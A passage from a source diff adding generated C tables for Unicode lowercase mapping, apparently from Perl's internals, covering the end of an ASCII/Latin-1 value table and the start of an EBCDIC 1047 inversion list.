+	0x169,
+	0,
+	0x16B,
+	0,
+	0x16D,
+	0,
+	0x16F,
+	0,
+	0x171,
+	0,
+	0x173,
+	0,
+	0x175,
+	0,
+	0x177,
+	0,
+	0xFF,
+	0x17A,
+	0,
+	0x17C,
+	0,
+	0x17E,
+	0,
+	0x253,
+	0x183,
+	0,
+	0x185,
+	0,
+	0x254,
+	0x188,
+	0,
+	0x256,
+	0x18C,
+	0,
+	0x1DD,
+	0x259,
+	0x25B,
+	0x192,
+	0,
+	0x260,
+	0x263,
+	0,
+	0x269,
+	0x268,
+	0x199,
+	0,
+	0x26F,
+	0x272,
+	0,
+	0x275,
+	0x1A1,
+	0,
+	0x1A3,
+	0,
+	0x1A5,
+	0,
+	0x280,
+	0x1A8,
+	0,
+	0x283,
+	0,
+	0x1AD,
+	0,
+	0x288,
+	0x1B0,
+	0,
+	0x28A,
+	0x1B4,
+	0,
+	0x1B6,
+	0,
+	0x292,
+	0x1B9,
+	0,
+	0x1BD,
+	0,
+	0x1C6,
+	0x1C6,
+	0,
+	0x1C9,
+	0x1C9,
+	0,
+	0x1CC,
+	0x1CC,
+	0,
+	0x1CE,
+	0,
+	0x1D0,
+	0,
+	0x1D2,
+	0,
+	0x1D4,
+	0,
+	0x1D6,
+	0,
+	0x1D8,
+	0,
+	0x1DA,
+	0,
+	0x1DC,
+	0,
+	0x1DF,
+	0,
+	0x1E1,
+	0,
+	0x1E3,
+	0,
+	0x1E5,
+	0,
+	0x1E7,
+	0,
+	0x1E9,
+	0,
+	0x1EB,
+	0,
+	0x1ED,
+	0,
+	0x1EF,
+	0,
+	0x1F3,
+	0x1F3,
+	0,
+	0x1F5,
+	0,
+	0x195,
+	0x1BF,
+	0x1F9,
+	0,
+	0x1FB,
+	0,
+	0x1FD,
+	0,
+	0x1FF,
+	0,
+	0x201,
+	0,
+	0x203,
+	0,
+	0x205,
+	0,
+	0x207,
+	0,
+	0x209,
+	0,
+	0x20B,
+	0,
+	0x20D,
+	0,
+	0x20F,
+	0,
+	0x211,
+	0,
+	0x213,
+	0,
+	0x215,
+	0,
+	0x217,
+	0,
+	0x219,
+	0,
+	0x21B,
+	0,
+	0x21D,
+	0,
+	0x21F,
+	0,
+	0x19E,
+	0,
+	0x223,
+	0,
+	0x225,
+	0,
+	0x227,
+	0,
+	0x229,
+	0,
+	0x22B,
+	0,
+	0x22D,
+	0,
+	0x22F,
+	0,
+	0x231,
+	0,
+	0x233,
+	0,
+	0x2C65,
+	0x23C,
+	0,
+	0x19A,
+	0x2C66,
+	0,
+	0x242,
+	0,
+	0x180,
+	0x289,
+	0x28C,
+	0x247,
+	0,
+	0x249,
+	0,
+	0x24B,
+	0,
+	0x24D,
+	0,
+	0x24F,
+	0,
+	0x371,
+	0,
+	0x373,
+	0,
+	0x377,
+	0,
+	0x3F3,
+	0,
+	0x3AC,
+	0,
+	0x3AD,
+	0,
+	0x3CC,
+	0,
+	0x3CD,
+	0,
+	0x3B1,
+	0,
+	0x3C3,
+	0,
+	0x3D7,
+	0,
+	0x3D9,
+	0,
+	0x3DB,
+	0,
+	0x3DD,
+	0,
+	0x3DF,
+	0,
+	0x3E1,
+	0,
+	0x3E3,
+	0,
+	0x3E5,
+	0,
+	0x3E7,
+	0,
+	0x3E9,
+	0,
+	0x3EB,
+	0,
+	0x3ED,
+	0,
+	0x3EF,
+	0,
+	0x3B8,
+	0,
+	0x3F8,
+	0,
+	0x3F2,
+	0x3FB,
+	0,
+	0x37B,
+	0x450,
+	0x430,
+	0,
+	0x461,
+	0,
+	0x463,
+	0,
+	0x465,
+	0,
+	0x467,
+	0,
+	0x469,
+	0,
+	0x46B,
+	0,
+	0x46D,
+	0,
+	0x46F,
+	0,
+	0x471,
+	0,
+	0x473,
+	0,
+	0x475,
+	0,
+	0x477,
+	0,
+	0x479,
+	0,
+	0x47B,
+	0,
+	0x47D,
+	0,
+	0x47F,
+	0,
+	0x481,
+	0,
+	0x48B,
+	0,
+	0x48D,
+	0,
+	0x48F,
+	0,
+	0x491,
+	0,
+	0x493,
+	0,
+	0x495,
+	0,
+	0x497,
+	0,
+	0x499,
+	0,
+	0x49B,
+	0,
+	0x49D,
+	0,
+	0x49F,
+	0,
+	0x4A1,
+	0,
+	0x4A3,
+	0,
+	0x4A5,
+	0,
+	0x4A7,
+	0,
+	0x4A9,
+	0,
+	0x4AB,
+	0,
+	0x4AD,
+	0,
+	0x4AF,
+	0,
+	0x4B1,
+	0,
+	0x4B3,
+	0,
+	0x4B5,
+	0,
+	0x4B7,
+	0,
+	0x4B9,
+	0,
+	0x4BB,
+	0,
+	0x4BD,
+	0,
+	0x4BF,
+	0,
+	0x4CF,
+	0x4C2,
+	0,
+	0x4C4,
+	0,
+	0x4C6,
+	0,
+	0x4C8,
+	0,
+	0x4CA,
+	0,
+	0x4CC,
+	0,
+	0x4CE,
+	0,
+	0x4D1,
+	0,
+	0x4D3,
+	0,
+	0x4D5,
+	0,
+	0x4D7,
+	0,
+	0x4D9,
+	0,
+	0x4DB,
+	0,
+	0x4DD,
+	0,
+	0x4DF,
+	0,
+	0x4E1,
+	0,
+	0x4E3,
+	0,
+	0x4E5,
+	0,
+	0x4E7,
+	0,
+	0x4E9,
+	0,
+	0x4EB,
+	0,
+	0x4ED,
+	0,
+	0x4EF,
+	0,
+	0x4F1,
+	0,
+	0x4F3,
+	0,
+	0x4F5,
+	0,
+	0x4F7,
+	0,
+	0x4F9,
+	0,
+	0x4FB,
+	0,
+	0x4FD,
+	0,
+	0x4FF,
+	0,
+	0x501,
+	0,
+	0x503,
+	0,
+	0x505,
+	0,
+	0x507,
+	0,
+	0x509,
+	0,
+	0x50B,
+	0,
+	0x50D,
+	0,
+	0x50F,
+	0,
+	0x511,
+	0,
+	0x513,
+	0,
+	0x515,
+	0,
+	0x517,
+	0,
+	0x519,
+	0,
+	0x51B,
+	0,
+	0x51D,
+	0,
+	0x51F,
+	0,
+	0x521,
+	0,
+	0x523,
+	0,
+	0x525,
+	0,
+	0x527,
+	0,
+	0x529,
+	0,
+	0x52B,
+	0,
+	0x52D,
+	0,
+	0x52F,
+	0,
+	0x561,
+	0,
+	0x2D00,
+	0,
+	0x2D27,
+	0,
+	0x2D2D,
+	0,
+	0xAB70,
+	0x13F8,
+	0,
+	0x1E01,
+	0,
+	0x1E03,
+	0,
+	0x1E05,
+	0,
+	0x1E07,
+	0,
+	0x1E09,
+	0,
+	0x1E0B,
+	0,
+	0x1E0D,
+	0,
+	0x1E0F,
+	0,
+	0x1E11,
+	0,
+	0x1E13,
+	0,
+	0x1E15,
+	0,
+	0x1E17,
+	0,
+	0x1E19,
+	0,
+	0x1E1B,
+	0,
+	0x1E1D,
+	0,
+	0x1E1F,
+	0,
+	0x1E21,
+	0,
+	0x1E23,
+	0,
+	0x1E25,
+	0,
+	0x1E27,
+	0,
+	0x1E29,
+	0,
+	0x1E2B,
+	0,
+	0x1E2D,
+	0,
+	0x1E2F,
+	0,
+	0x1E31,
+	0,
+	0x1E33,
+	0,
+	0x1E35,
+	0,
+	0x1E37,
+	0,
+	0x1E39,
+	0,
+	0x1E3B,
+	0,
+	0x1E3D,
+	0,
+	0x1E3F,
+	0,
+	0x1E41,
+	0,
+	0x1E43,
+	0,
+	0x1E45,
+	0,
+	0x1E47,
+	0,
+	0x1E49,
+	0,
+	0x1E4B,
+	0,
+	0x1E4D,
+	0,
+	0x1E4F,
+	0,
+	0x1E51,
+	0,
+	0x1E53,
+	0,
+	0x1E55,
+	0,
+	0x1E57,
+	0,
+	0x1E59,
+	0,
+	0x1E5B,
+	0,
+	0x1E5D,
+	0,
+	0x1E5F,
+	0,
+	0x1E61,
+	0,
+	0x1E63,
+	0,
+	0x1E65,
+	0,
+	0x1E67,
+	0,
+	0x1E69,
+	0,
+	0x1E6B,
+	0,
+	0x1E6D,
+	0,
+	0x1E6F,
+	0,
+	0x1E71,
+	0,
+	0x1E73,
+	0,
+	0x1E75,
+	0,
+	0x1E77,
+	0,
+	0x1E79,
+	0,
+	0x1E7B,
+	0,
+	0x1E7D,
+	0,
+	0x1E7F,
+	0,
+	0x1E81,
+	0,
+	0x1E83,
+	0,
+	0x1E85,
+	0,
+	0x1E87,
+	0,
+	0x1E89,
+	0,
+	0x1E8B,
+	0,
+	0x1E8D,
+	0,
+	0x1E8F,
+	0,
+	0x1E91,
+	0,
+	0x1E93,
+	0,
+	0x1E95,
+	0,
+	0xDF,
+	0,
+	0x1EA1,
+	0,
+	0x1EA3,
+	0,
+	0x1EA5,
+	0,
+	0x1EA7,
+	0,
+	0x1EA9,
+	0,
+	0x1EAB,
+	0,
+	0x1EAD,
+	0,
+	0x1EAF,
+	0,
+	0x1EB1,
+	0,
+	0x1EB3,
+	0,
+	0x1EB5,
+	0,
+	0x1EB7,
+	0,
+	0x1EB9,
+	0,
+	0x1EBB,
+	0,
+	0x1EBD,
+	0,
+	0x1EBF,
+	0,
+	0x1EC1,
+	0,
+	0x1EC3,
+	0,
+	0x1EC5,
+	0,
+	0x1EC7,
+	0,
+	0x1EC9,
+	0,
+	0x1ECB,
+	0,
+	0x1ECD,
+	0,
+	0x1ECF,
+	0,
+	0x1ED1,
+	0,
+	0x1ED3,
+	0,
+	0x1ED5,
+	0,
+	0x1ED7,
+	0,
+	0x1ED9,
+	0,
+	0x1EDB,
+	0,
+	0x1EDD,
+	0,
+	0x1EDF,
+	0,
+	0x1EE1,
+	0,
+	0x1EE3,
+	0,
+	0x1EE5,
+	0,
+	0x1EE7,
+	0,
+	0x1EE9,
+	0,
+	0x1EEB,
+	0,
+	0x1EED,
+	0,
+	0x1EEF,
+	0,
+	0x1EF1,
+	0,
+	0x1EF3,
+	0,
+	0x1EF5,
+	0,
+	0x1EF7,
+	0,
+	0x1EF9,
+	0,
+	0x1EFB,
+	0,
+	0x1EFD,
+	0,
+	0x1EFF,
+	0,
+	0x1F00,
+	0,
+	0x1F10,
+	0,
+	0x1F20,
+	0,
+	0x1F30,
+	0,
+	0x1F40,
+	0,
+	0x1F51,
+	0,
+	0x1F53,
+	0,
+	0x1F55,
+	0,
+	0x1F57,
+	0,
+	0x1F60,
+	0,
+	0x1F80,
+	0,
+	0x1F90,
+	0,
+	0x1FA0,
+	0,
+	0x1FB0,
+	0x1F70,
+	0x1FB3,
+	0,
+	0x1F72,
+	0x1FC3,
+	0,
+	0x1FD0,
+	0x1F76,
+	0,
+	0x1FE0,
+	0x1F7A,
+	0x1FE5,
+	0,
+	0x1F78,
+	0x1F7C,
+	0x1FF3,
+	0,
+	0x3C9,
+	0,
+	0x6B,
+	0xE5,
+	0,
+	0x214E,
+	0,
+	0x2170,
+	0,
+	0x2184,
+	0,
+	0x24D0,
+	0,
+	0x2C30,
+	0,
+	0x2C61,
+	0,
+	0x26B,
+	0x1D7D,
+	0x27D,
+	0,
+	0x2C68,
+	0,
+	0x2C6A,
+	0,
+	0x2C6C,
+	0,
+	0x251,
+	0x271,
+	0x250,
+	0x252,
+	0,
+	0x2C73,
+	0,
+	0x2C76,
+	0,
+	0x23F,
+	0x2C81,
+	0,
+	0x2C83,
+	0,
+	0x2C85,
+	0,
+	0x2C87,
+	0,
+	0x2C89,
+	0,
+	0x2C8B,
+	0,
+	0x2C8D,
+	0,
+	0x2C8F,
+	0,
+	0x2C91,
+	0,
+	0x2C93,
+	0,
+	0x2C95,
+	0,
+	0x2C97,
+	0,
+	0x2C99,
+	0,
+	0x2C9B,
+	0,
+	0x2C9D,
+	0,
+	0x2C9F,
+	0,
+	0x2CA1,
+	0,
+	0x2CA3,
+	0,
+	0x2CA5,
+	0,
+	0x2CA7,
+	0,
+	0x2CA9,
+	0,
+	0x2CAB,
+	0,
+	0x2CAD,
+	0,
+	0x2CAF,
+	0,
+	0x2CB1,
+	0,
+	0x2CB3,
+	0,
+	0x2CB5,
+	0,
+	0x2CB7,
+	0,
+	0x2CB9,
+	0,
+	0x2CBB,
+	0,
+	0x2CBD,
+	0,
+	0x2CBF,
+	0,
+	0x2CC1,
+	0,
+	0x2CC3,
+	0,
+	0x2CC5,
+	0,
+	0x2CC7,
+	0,
+	0x2CC9,
+	0,
+	0x2CCB,
+	0,
+	0x2CCD,
+	0,
+	0x2CCF,
+	0,
+	0x2CD1,
+	0,
+	0x2CD3,
+	0,
+	0x2CD5,
+	0,
+	0x2CD7,
+	0,
+	0x2CD9,
+	0,
+	0x2CDB,
+	0,
+	0x2CDD,
+	0,
+	0x2CDF,
+	0,
+	0x2CE1,
+	0,
+	0x2CE3,
+	0,
+	0x2CEC,
+	0,
+	0x2CEE,
+	0,
+	0x2CF3,
+	0,
+	0xA641,
+	0,
+	0xA643,
+	0,
+	0xA645,
+	0,
+	0xA647,
+	0,
+	0xA649,
+	0,
+	0xA64B,
+	0,
+	0xA64D,
+	0,
+	0xA64F,
+	0,
+	0xA651,
+	0,
+	0xA653,
+	0,
+	0xA655,
+	0,
+	0xA657,
+	0,
+	0xA659,
+	0,
+	0xA65B,
+	0,
+	0xA65D,
+	0,
+	0xA65F,
+	0,
+	0xA661,
+	0,
+	0xA663,
+	0,
+	0xA665,
+	0,
+	0xA667,
+	0,
+	0xA669,
+	0,
+	0xA66B,
+	0,
+	0xA66D,
+	0,
+	0xA681,
+	0,
+	0xA683,
+	0,
+	0xA685,
+	0,
+	0xA687,
+	0,
+	0xA689,
+	0,
+	0xA68B,
+	0,
+	0xA68D,
+	0,
+	0xA68F,
+	0,
+	0xA691,
+	0,
+	0xA693,
+	0,
+	0xA695,
+	0,
+	0xA697,
+	0,
+	0xA699,
+	0,
+	0xA69B,
+	0,
+	0xA723,
+	0,
+	0xA725,
+	0,
+	0xA727,
+	0,
+	0xA729,
+	0,
+	0xA72B,
+	0,
+	0xA72D,
+	0,
+	0xA72F,
+	0,
+	0xA733,
+	0,
+	0xA735,
+	0,
+	0xA737,
+	0,
+	0xA739,
+	0,
+	0xA73B,
+	0,
+	0xA73D,
+	0,
+	0xA73F,
+	0,
+	0xA741,
+	0,
+	0xA743,
+	0,
+	0xA745,
+	0,
+	0xA747,
+	0,
+	0xA749,
+	0,
+	0xA74B,
+	0,
+	0xA74D,
+	0,
+	0xA74F,
+	0,
+	0xA751,
+	0,
+	0xA753,
+	0,
+	0xA755,
+	0,
+	0xA757,
+	0,
+	0xA759,
+	0,
+	0xA75B,
+	0,
+	0xA75D,
+	0,
+	0xA75F,
+	0,
+	0xA761,
+	0,
+	0xA763,
+	0,
+	0xA765,
+	0,
+	0xA767,
+	0,
+	0xA769,
+	0,
+	0xA76B,
+	0,
+	0xA76D,
+	0,
+	0xA76F,
+	0,
+	0xA77A,
+	0,
+	0xA77C,
+	0,
+	0x1D79,
+	0xA77F,
+	0,
+	0xA781,
+	0,
+	0xA783,
+	0,
+	0xA785,
+	0,
+	0xA787,
+	0,
+	0xA78C,
+	0,
+	0x265,
+	0,
+	0xA791,
+	0,
+	0xA793,
+	0,
+	0xA797,
+	0,
+	0xA799,
+	0,
+	0xA79B,
+	0,
+	0xA79D,
+	0,
+	0xA79F,
+	0,
+	0xA7A1,
+	0,
+	0xA7A3,
+	0,
+	0xA7A5,
+	0,
+	0xA7A7,
+	0,
+	0xA7A9,
+	0,
+	0x266,
+	0x25C,
+	0x261,
+	0x26C,
+	0x26A,
+	0,
+	0x29E,
+	0x287,
+	0x29D,
+	0xAB53,
+	0xA7B5,
+	0,
+	0xA7B7,
+	0,
+	0xFF41,
+	0,
+	0x10428,
+	0,
+	0x104D8,
+	0,
+	0x10CC0,
+	0,
+	0x118C0,
+	0,
+	0x1E922,
+	0
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV Lowercase_Mapping_invlist[] = { /* for EBCDIC 1047 */
+	1255,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x62,
+	0x6A,
+	0x71,
+	0x79,
+	0x80,
+	0x81,
+	0x9E,
+	0x9F,
+	0xAC,
+	0xAD,
+	0xAE,
+	0xAF,
+	0xBA,
+	0xBB,
+	0xC1,
+	0xCA,
+	0xD1,
+	0xDA,
+	0xE2,
+	0xEA,
+	0xEB,
+	0xF0,
+	0xFB,
+	0xFF,
+	0x100,
+	0x101,
+	0x102,
+	0x103,
+	0x104,
+	0x105,
+	0x106,
+	0x107,
+	0x108,
+	0x109,
+	0x10A,
+	0x10B,
+	0x10C,
+	0x10D,
+	0x10E,
+	0x10F,
+	0x110,
+	0x111,
+	0x112,
+	0x113,
+	0x114,
+	0x115,
+	0x116,
+	0x117,
+	0x118,
+	0x119,
+	0x11A,
+	0x11B,
+	0x11C,
+	0x11D,
+	0x11E,
+	0x11F,
+	0x120,
+	0x121,
+	0x122,
+	0x123,
+	0x124,
+	0x125,
+	0x126,
+	0x127,
+	0x128,
+	0x129,
+	0x12A,
+	0x12B,
+	0x12C,
+	0x12D,
+	0x12E,
+	0x12F,
 	0x130,
 	0x131,
-	0x149,
+	0x132,
+	0x133,
+	0x134,
+	0x135,
+	0x136,
+	0x137,
+	0x139,
+	0x13A,
+	0x13B,
+	0x13C,
+	0x13D,
+	0x13E,
+	0x13F,
+	0x140,
+	0x141,
+	0x142,
+	0x143,
+	0x144,
+	0x145,
+	0x146,
+	0x147,
+	0x148,
 	0x14A,
-	0x1F0,
+	0x14B,
+	0x14C,
+	0x14D,
+	0x14E,
+	0x14F,
+	0x150,
+	0x151,
+	0x152,
+	0x153,
+	0x154,
+	0x155,
+	0x156,
+	0x157,
+	0x158,
+	0x159,
+	0x15A,
+	0x15B,
+	0x15C,
+	0x15D,
+	0x15E,
+	0x15F,
+	0x160,
+	0x161,
+	0x162,
+	0x163,
+	0x164,
+	0x165,
+	0x166,
+	0x167,
+	0x168,
+	0x169,
+	0x16A,
+	0x16B,
+	0x16C,
+	0x16D,
+	0x16E,
+	0x16F,
+	0x170,
+	0x171,
+	0x172,
+	0x173,
+	0x174,
+	0x175,
+	0x176,
+	0x177,
+	0x178,
+	0x179,
+	0x17A,
+	0x17B,
+	0x17C,
+	0x17D,
+	0x17E,
+	0x181,
+	0x182,
+	0x183,
+	0x184,
+	0x185,
+	0x186,
+	0x187,
+	0x188,
+	0x189,
+	0x18B,
+	0x18C,
+	0x18E,
+	0x18F,
+	0x190,
+	0x191,
+	0x192,
+	0x193,
+	0x194,
+	0x195,
+	0x196,
+	0x197,
+	0x198,
+	0x199,
+	0x19C,
+	0x19D,
+	0x19E,
+	0x19F,
+	0x1A0,
+	0x1A1,
+	0x1A2,
+	0x1A3,
+	0x1A4,
+	0x1A5,
+	0x1A6,
+	0x1A7,
+	0x1A8,
+	0x1A9,
+	0x1AA,
+	0x1AC,
+	0x1AD,
+	0x1AE,
+	0x1AF,
+	0x1B0,
+	0x1B1,
+	0x1B3,
+	0x1B4,
+	0x1B5,
+	0x1B6,
+	0x1B7,
+	0x1B8,
+	0x1B9,
+	0x1BC,
+	0x1BD,
+	0x1C4,
+	0x1C5,
+	0x1C6,
+	0x1C7,
+	0x1C8,
+	0x1C9,
+	0x1CA,
+	0x1CB,
+	0x1CC,
+	0x1CD,
+	0x1CE,
+	0x1CF,
+	0x1D0,
+	0x1D1,
+	0x1D2,
+	0x1D3,
+	0x1D4,
+	0x1D5,
+	0x1D6,
+	0x1D7,
+	0x1D8,
+	0x1D9,
+	0x1DA,
+	0x1DB,
+	0x1DC,
+	0x1DE,
+	0x1DF,
+	0x1E0,
+	0x1E1,
+	0x1E2,
+	0x1E3,
+	0x1E4,
+	0x1E5,
+	0x1E6,
+	0x1E7,
+	0x1E8,
+	0x1E9,
+	0x1EA,
+	0x1EB,
+	0x1EC,
+	0x1ED,
+	0x1EE,
+	0x1EF,
 	0x1F1,
+	0x1F2,
+	0x1F3,
+	0x1F4,
+	0x1F5,
+	0x1F6,
+	0x1F7,
+	0x1F8,
+	0x1F9,
+	0x1FA,
+	0x1FB,
+	0x1FC,
+	0x1FD,
+	0x1FE,
+	0x1FF,
+	0x200,
+	0x201,
+	0x202,
+	0x203,
+	0x204,
+	0x205,
+	0x206,
+	0x207,
+	0x208,
+	0x209,
+	0x20A,
+	0x20B,
+	0x20C,
+	0x20D,
+	0x20E,
+	0x20F,
+	0x210,
+	0x211,
+	0x212,
+	0x213,
+	0x214,
+	0x215,
+	0x216,
+	0x217,
+	0x218,
+	0x219,
+	0x21A,
+	0x21B,
+	0x21C,
+	0x21D,
+	0x21E,
+	0x21F,
+	0x220,
+	0x221,
+	0x222,
+	0x223,
+	0x224,
+	0x225,
+	0x226,
+	0x227,
+	0x228,
+	0x229,
+	0x22A,
+	0x22B,
+	0x22C,
+	0x22D,
+	0x22E,
+	0x22F,
+	0x230,
+	0x231,
+	0x232,
+	0x233,
+	0x23A,
+	0x23B,
+	0x23C,
+	0x23D,
+	0x23E,
+	0x23F,
+	0x241,
+	0x242,
+	0x243,
+	0x244,
+	0x245,
+	0x246,
+	0x247,
+	0x248,
+	0x249,
+	0x24A,
+	0x24B,
+	0x24C,
+	0x24D,
+	0x24E,
+	0x24F,
+	0x370,
+	0x371,
+	0x372,
+	0x373,
+	0x376,
+	0x377,
+	0x37F,
+	0x380,
+	0x386,
+	0x387,
+	0x388,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
 	0x390,
 	0x391,
-	0x3B0,
-	0x3B1,
-	0x587,
-	0x588,
-	0x1E96,
-	0x1E9B,
+	0x3A2,
+	0x3A3,
+	0x3AC,
+	0x3CF,
+	0x3D0,
+	0x3D8,
+	0x3D9,
+	0x3DA,
+	0x3DB,
+	0x3DC,
+	0x3DD,
+	0x3DE,
+	0x3DF,
+	0x3E0,
+	0x3E1,
+	0x3E2,
+	0x3E3,
+	0x3E4,
+	0x3E5,
+	0x3E6,
+	0x3E7,
+	0x3E8,
+	0x3E9,
+	0x3EA,
+	0x3EB,
+	0x3EC,
+	0x3ED,
+	0x3EE,
+	0x3EF,
+	0x3F4,
+	0x3F5,
+	0x3F7,
+	0x3F8,
+	0x3F9,
+	0x3FA,
+	0x3FB,
+	0x3FD,
+	0x400,
+	0x410,
+	0x430,
+	0x460,
+	0x461,
+	0x462,
+	0x463,
+	0x464,
+	0x465,
+	0x466,
+	0x467,
+	0x468,
+	0x469,
+	0x46A,
+	0x46B,
+	0x46C,
+	0x46D,
+	0x46E,
+	0x46F,
+	0x470,
+	0x471,
+	0x472,
+	0x473,
+	0x474,
+	0x475,
+	0x476,
+	0x477,
+	0x478,
+	0x479,
+	0x47A,
+	0x47B,
+	0x47C,
+	0x47D,
+	0x47E,
+	0x47F,
+	0x480,
+	0x481,
+	0x48A,
+	0x48B,
+	0x48C,
+	0x48D,
+	0x48E,
+	0x48F,
+	0x490,
+	0x491,
+	0x492,
+	0x493,
+	0x494,
+	0x495,
+	0x496,
+	0x497,
+	0x498,
+	0x499,
+	0x49A,
+	0x49B,
+	0x49C,
+	0x49D,
+	0x49E,
+	0x49F,
+	0x4A0,
+	0x4A1,
+	0x4A2,
+	0x4A3,
+	0x4A4,
+	0x4A5,
+	0x4A6,
+	0x4A7,
+	0x4A8,
+	0x4A9,
+	0x4AA,
+	0x4AB,
+	0x4AC,
+	0x4AD,
+	0x4AE,
+	0x4AF,
+	0x4B0,
+	0x4B1,
+	0x4B2,
+	0x4B3,
+	0x4B4,
+	0x4B5,
+	0x4B6,
+	0x4B7,
+	0x4B8,
+	0x4B9,
+	0x4BA,
+	0x4BB,
+	0x4BC,
+	0x4BD,
+	0x4BE,
+	0x4BF,
+	0x4C0,
+	0x4C1,
+	0x4C2,
+	0x4C3,
+	0x4C4,
+	0x4C5,
+	0x4C6,
+	0x4C7,
+	0x4C8,
+	0x4C9,
+	0x4CA,
+	0x4CB,
+	0x4CC,
+	0x4CD,
+	0x4CE,
+	0x4D0,
+	0x4D1,
+	0x4D2,
+	0x4D3,
+	0x4D4,
+	0x4D5,
+	0x4D6,
+	0x4D7,
+	0x4D8,
+	0x4D9,
+	0x4DA,
+	0x4DB,
+	0x4DC,
+	0x4DD,
+	0x4DE,
+	0x4DF,
+	0x4E0,
+	0x4E1,
+	0x4E2,
+	0x4E3,
+	0x4E4,
+	0x4E5,
+	0x4E6,
+	0x4E7,
+	0x4E8,
+	0x4E9,
+	0x4EA,
+	0x4EB,
+	0x4EC,
+	0x4ED,
+	0x4EE,
+	0x4EF,
+	0x4F0,
+	0x4F1,
+	0x4F2,
+	0x4F3,
+	0x4F4,
+	0x4F5,
+	0x4F6,
+	0x4F7,
+	0x4F8,
+	0x4F9,
+	0x4FA,
+	0x4FB,
+	0x4FC,
+	0x4FD,
+	0x4FE,
+	0x4FF,
+	0x500,
+	0x501,
+	0x502,
+	0x503,
+	0x504,
+	0x505,
+	0x506,
+	0x507,
+	0x508,
+	0x509,
+	0x50A,
+	0x50B,
+	0x50C,
+	0x50D,
+	0x50E,
+	0x50F,
+	0x510,
+	0x511,
+	0x512,
+	0x513,
+	0x514,
+	0x515,
+	0x516,
+	0x517,
+	0x518,
+	0x519,
+	0x51A,
+	0x51B,
+	0x51C,
+	0x51D,
+	0x51E,
+	0x51F,
+	0x520,
+	0x521,
+	0x522,
+	0x523,
+	0x524,
+	0x525,
+	0x526,
+	0x527,
+	0x528,
+	0x529,
+	0x52A,
+	0x52B,
+	0x52C,
+	0x52D,
+	0x52E,
+	0x52F,
+	0x531,
+	0x557,
+	0x10A0,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x13A0,
+	0x13F0,
+	0x13F6,
+	0x1E00,
+	0x1E01,
+	0x1E02,
+	0x1E03,
+	0x1E04,
+	0x1E05,
+	0x1E06,
+	0x1E07,
+	0x1E08,
+	0x1E09,
+	0x1E0A,
+	0x1E0B,
+	0x1E0C,
+	0x1E0D,
+	0x1E0E,
+	0x1E0F,
+	0x1E10,
+	0x1E11,
+	0x1E12,
+	0x1E13,
+	0x1E14,
+	0x1E15,
+	0x1E16,
+	0x1E17,
+	0x1E18,
+	0x1E19,
+	0x1E1A,
+	0x1E1B,
+	0x1E1C,
+	0x1E1D,
+	0x1E1E,
+	0x1E1F,
+	0x1E20,
+	0x1E21,
+	0x1E22,
+	0x1E23,
+	0x1E24,
+	0x1E25,
+	0x1E26,
+	0x1E27,
+	0x1E28,
+	0x1E29,
+	0x1E2A,
+	0x1E2B,
+	0x1E2C,
+	0x1E2D,
+	0x1E2E,
+	0x1E2F,
+	0x1E30,
+	0x1E31,
+	0x1E32,
+	0x1E33,
+	0x1E34,
+	0x1E35,
+	0x1E36,
+	0x1E37,
+	0x1E38,
+	0x1E39,
+	0x1E3A,
+	0x1E3B,
+	0x1E3C,
+	0x1E3D,
+	0x1E3E,
+	0x1E3F,
+	0x1E40,
+	0x1E41,
+	0x1E42,
+	0x1E43,
+	0x1E44,
+	0x1E45,
+	0x1E46,
+	0x1E47,
+	0x1E48,
+	0x1E49,
+	0x1E4A,
+	0x1E4B,
+	0x1E4C,
+	0x1E4D,
+	0x1E4E,
+	0x1E4F,
+	0x1E50,
+	0x1E51,
+	0x1E52,
+	0x1E53,
+	0x1E54,
+	0x1E55,
+	0x1E56,
+	0x1E57,
+	0x1E58,
+	0x1E59,
+	0x1E5A,
+	0x1E5B,
+	0x1E5C,
+	0x1E5D,
+	0x1E5E,
+	0x1E5F,
+	0x1E60,
+	0x1E61,
+	0x1E62,
+	0x1E63,
+	0x1E64,
+	0x1E65,
+	0x1E66,
+	0x1E67,
+	0x1E68,
+	0x1E69,
+	0x1E6A,
+	0x1E6B,
+	0x1E6C,
+	0x1E6D,
+	0x1E6E,
+	0x1E6F,
+	0x1E70,
+	0x1E71,
+	0x1E72,
+	0x1E73,
+	0x1E74,
+	0x1E75,
+	0x1E76,
+	0x1E77,
+	0x1E78,
+	0x1E79,
+	0x1E7A,
+	0x1E7B,
+	0x1E7C,
+	0x1E7D,
+	0x1E7E,
+	0x1E7F,
+	0x1E80,
+	0x1E81,
+	0x1E82,
+	0x1E83,
+	0x1E84,
+	0x1E85,
+	0x1E86,
+	0x1E87,
+	0x1E88,
+	0x1E89,
+	0x1E8A,
+	0x1E8B,
+	0x1E8C,
+	0x1E8D,
+	0x1E8E,
+	0x1E8F,
+	0x1E90,
+	0x1E91,
+	0x1E92,
+	0x1E93,
+	0x1E94,
+	0x1E95,
 	0x1E9E,
 	0x1E9F,
-	0x1F50,
+	0x1EA0,
+	0x1EA1,
+	0x1EA2,
+	0x1EA3,
+	0x1EA4,
+	0x1EA5,
+	0x1EA6,
+	0x1EA7,
+	0x1EA8,
+	0x1EA9,
+	0x1EAA,
+	0x1EAB,
+	0x1EAC,
+	0x1EAD,
+	0x1EAE,
+	0x1EAF,
+	0x1EB0,
+	0x1EB1,
+	0x1EB2,
+	0x1EB3,
+	0x1EB4,
+	0x1EB5,
+	0x1EB6,
+	0x1EB7,
+	0x1EB8,
+	0x1EB9,
+	0x1EBA,
+	0x1EBB,
+	0x1EBC,
+	0x1EBD,
+	0x1EBE,
+	0x1EBF,
+	0x1EC0,
+	0x1EC1,
+	0x1EC2,
+	0x1EC3,
+	0x1EC4,
+	0x1EC5,
+	0x1EC6,
+	0x1EC7,
+	0x1EC8,
+	0x1EC9,
+	0x1ECA,
+	0x1ECB,
+	0x1ECC,
+	0x1ECD,
+	0x1ECE,
+	0x1ECF,
+	0x1ED0,
+	0x1ED1,
+	0x1ED2,
+	0x1ED3,
+	0x1ED4,
+	0x1ED5,
+	0x1ED6,
+	0x1ED7,
